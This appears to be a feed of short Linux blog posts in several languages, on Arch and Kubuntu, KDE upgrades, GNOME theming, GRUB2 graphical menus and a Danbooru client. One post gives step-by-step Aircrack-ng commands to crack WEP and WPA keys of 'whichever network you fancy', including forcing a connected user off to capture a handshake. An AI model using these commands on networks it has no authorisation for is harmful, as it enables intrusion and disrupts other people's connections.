I haven’t tried this yet, but I love the idea: Use the Arch Linux PKGBUILDs to streamline the creation of packages in SliTaz. It’s like a graft of two of my favorite operating systems, one fast and light and the other fast and small and light.

It also suggests something small on the side: That maybe this sort of scripted package creation system — while certainly not invented by Arch — is a really great tool that ought to show up in some other, larger distributions (hint, hint). But Arch fans don’t need me saying out loud the things they already know. …

I have taken a long and winding road since my last post, but have landed (for now) with Kubuntu 9.10. I had worked through the pain of setting up Arch Linux with KDEmod repositories and all, but could not seem to get past a dysfunctional Akonadi server, which would pester me every time I wanted to open Kmail or Korganizer or Kontact. So now, all is working very nicely with Kubuntu Karmic.

I did have an issue with installation… the live CD installation would stop every time with “scanning disks” at 47%, and simply would not proceed. I got around that by downloading the Alternate Install CD.

Here is a screenshot:

Kubuntu 9.10 screenshot using "Elegance" plasma theme and Quicklauncher taskbar widget

One of the great perks of being an Archer is that you get to try out the latest of everything before everyone else. With the Maintenance release of KDE4.3.3 today, surely Arch Linux was ready to provide me with the brand new fresh KDE packages. All I had to do is a “pacman -Syu”.

Many non-Archers/Ubuntu users/People not familiar with rolling release model will go huh? :O That’s it? No new distro release? No re-installation? No formatting? Yup, that’s the beauty of Arch Linux being a Rolling release distribution. Kudos to KDE and Arch developers.

So the upgrade went smooth and then I recompiled the kde-extragear-plasmoids 4.3.3 from AUR. Don’t expect much changes since 4.3.2 as this is not a version upgrade but only a maintenance release. Enjoy the new KDE 4.3.3.

Bom, agora que chegamos ao ponto final da nossa série de Rede Completa Ponto a Ponto, isto é:

Já compartilhamos a internet, já criamos pastas de arquivos compartilhados em cada máquina.

Só nos falta a última parte, e a mais complexa, isto é a criação do cluster entre as duas máquinas.

Inicialmente, gostaria de dizer que basearei meus estudos no livro

“Construindo Super Computadores com Linux” de Marcos Pitanga.

É isso aí.

Só pra constar!

A quero dizer que não esquecei de outras séries como a do SubVersion, Firebird e as mais antigas.

É que é meio dificil administrar todas.

Yawn… So mostly through boredom I’ve decided to share my current GNOME theme. It’s a mixture of Clearlooks Industrial with Sonar borders, Meliae-Dark icons, Neutral cursors (as always) and a Tenjho Tenge wallpaper with matching GDM background. Check it bleed (Airplane humour… I’ll get my coat).

Like it? All the stuffs is here:

Clearlooks Industrial theme
Sonar theme (lifted from openSUSE 11.2)
Meliae-Dark icons
Neutral cursors
Tenjho Tenge wallpaper

To make the GDM background match the desktop wallpaper simply rename it background-default.jpg and copy it to

/usr/share/pixmaps/backgrounds/gnome/

You might wanna rename the original first…

A veces pueden quedar paquetes innecesarios en nuestro ordenador, esto son paquetes huérfanos.

La forma de borrarlos en Arch Linux es esta:

pacman -Rns $(pacman -Qtdq)

 

Hacía tiempo que tenía ganas de tener un gestor de arranque gráfico, había probado ya grub-gfx pero, no era exactamente lo que esperaba.

El caso es que aprovechando los avances de Grub 2, existe el nuevo grub2-gfxmenu, que es algo similar. Gracias a un post de Lane, pude instalarlo en mi Arch, sin demasiados problemas.  Este es el post original. Aquí os dejo mi versión particular.

Primero hacemos una copia de seguridad del menu.lst ó grub.cfg

cp /boot/grub/menu.lst /boot/grub/menu.lst.copiaseguridad

Para grub2

cp /boot/grub/grub.cfg /boot/grub/grub.cfg.copiaseguridad

Lo siguiente sera desinstalar grub

pacman -R grub

O el que se tenga instalado, puede ser grub2, grubgfx, …

Instalamos grub2-gfxmenu en dos partes (desde AUR)

yaourt -S grub2-gfxmenu-overlay

yaourt -S grub2-gfxmenu

Luego, editamos la configuración del archivo grub.cfg.

nano /boot/grub/grub.cfg

NOTA: Antes las particiones empezaban en 0 (hdX,0), ahora empiezan en 1 (hdX,1)

Por último, instalamos grub en nuestra partición de arranque:

grub-install /dev/sda

#set theme=”/boot/grub/themes/ubuntu2/theme.txt”
#set theme=”/boot/grub/themes/ubuntu1/theme.txt”
set theme=”/boot/grub/themes/winter/theme.txt”
#set theme=”/boot/grub/themes/proto/theme.txt”

Sin embargo, puedes instalar el que tu quieras mun fácilmente desde AUR. Yo elegí el de  distroballs. Así que añadí la siguiente línea:

Eso es todo, podemos reiniciar para ver el resultado, el mío queda así:

One of my friends complained to me the other day that Aircrack needs a GUI, “man, it’d be less complicated, right”. Er, wrong. It’s so incredibly simple I honestly think a GUI is completely unnecessary. As ever the terminal is your best friend. I guess that’s a Windows mentality, folk aren’t used to doing things the easy way. Though, I admit that some tutorials (especially in the Linux world) do go on a bit and could probably be simplified. So, for my friend and others like him, here’s how to use Aircrack without the rambling.

Open up a terminal and su to root.

Turn off your wireless card.
#ifconfig wlan0 down

Enable monitoring.
#airmon-ng start wlan0

Do some monitoring… Make a note of the info on whichever network you fancy… In particular, the BSSID (e.g. 00:11:22:33:44:55), CHANNEL and whether it’s WEP or WPA.
#airodump-ng mon0

WEP

Monitor the chosen network and capture y’self some packets. This can take a while. Anywhere between 5,000 and 80,000 packets are usually needed.
#airodump-ng -c CHANNEL --bssid BSSID -w dump wlan0

Crack that sucker. Easy, no.
#aircrack-ng -b dump*.cap

WPA

WPA is slightly different but just as easy. Monitor the chosen network.
# airodump-ng -c CHANNEL --bssid BSSID -w handshake mon0

See the MAC (another 12 digit number) of the fella connected to it? Good, jot it down. Open up another terminal and force him to reconnect (as root, obviously).
#aireplay-ng -0 5 -a -c MAC mon0

Once you’ve captured a handshake you can crack it. Of course, you’ll need a decent dictionary file (they ain’t so hard to find), and it can take some time depending on the size of your dictionary/complexity of password. Luckily, you can do it offline once you’ve captured a handshake.
#aircrack-ng -a 2 -w /PATH/TO/DICT handshake*.cap

So who needs a GUI?

Soy un visitante asiduo de los sitios como konachan.com (de hecho hice un mini-post hace un año ), moe.imouto.org y demas imageboards de imagenes, y a veces se me hace pesado navegar con un navegador (anuncios, cosas que no necesito :/), asi que descubri este cliente para KDE que permite navegar a traves de estos sitios, llamado Danbooru Client.

Este programa permite navegar entre los primeros 100 posts (se espera que para otras versiones haya mas) y descargarlos, y como esta integrado on KDE, puedes poner tags a las imagenes que descargues gracias a Nepomuk, y agregar enlaces de sitios similares para busqueda.

Para instalarlo se necesita:
-PyQt
-Python
-KDE
-PyKDE4
-Nepomuk

Descargamos el paquete y los descomprimimos, navegamos a la carpeta descomprimida y agregamos un directorio build.

cd carpeta && mkdir build

Despues ejecutamos:

cmake -DCMAKE_INSTALL_PREFIX=`kde4-config --prefix` ../
make && sudo make install

Y lo tenemos instalado.

Una pequeña utileria para quienes frecuentemos estos sitios.